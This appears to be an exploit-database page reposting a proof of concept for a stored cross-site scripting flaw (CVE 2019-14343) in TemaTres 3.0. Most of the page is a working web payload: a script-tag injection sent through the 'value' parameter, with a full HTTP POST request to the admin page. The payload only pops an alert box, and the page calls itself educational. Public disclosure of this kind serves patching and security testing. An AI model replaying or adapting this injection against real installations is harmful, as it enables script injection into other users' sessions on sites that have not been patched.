Tematres 3.0 value persistent crosssite scripting Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-11-18 | Type : webapps | Platform : php
This exploit / vulnerability Tematres 3.0 value persistent crosssite scripting is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: TemaTres 3.0 - 'value' Persistent Cross-site Scripting
# Author: Pablo Santiago
# Date: 2019-11-14
# Vendor Homepage: https://www.vocabularyserver.com/
# Source: https://sourceforge.net/projects/tematres/files/TemaTres%203.0/tematres3.0.zip/download
# Version: 3.0
# CVE : 2019–14343
# Reference: https://medium.com/@Pablo0xSantiago/cve-2019-14343-ebc120800053
# Tested on: Windows 10

#Description:
The parameter "value" its vulnerable to Stored Cross-site scripting..

#Payload: “><script>alert(“XSS”)<%2fscript>

POST /tematres3.0/vocab/admin.php?vocabulario_id=list HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)
Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/tematres3.0/vocab/admin.php?vocabulario_id=list
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Cookie: PHPSESSID=uejtn72aavg5eit9sc9bnr2jse
Upgrade-Insecure-Requests: 1

doAdmin=&valueid=&value=12vlpcv%22%3e%3cscript%3ealert(%22XSS%22)%3c%2fscript%3edx6e1&alias=ACX&orden=2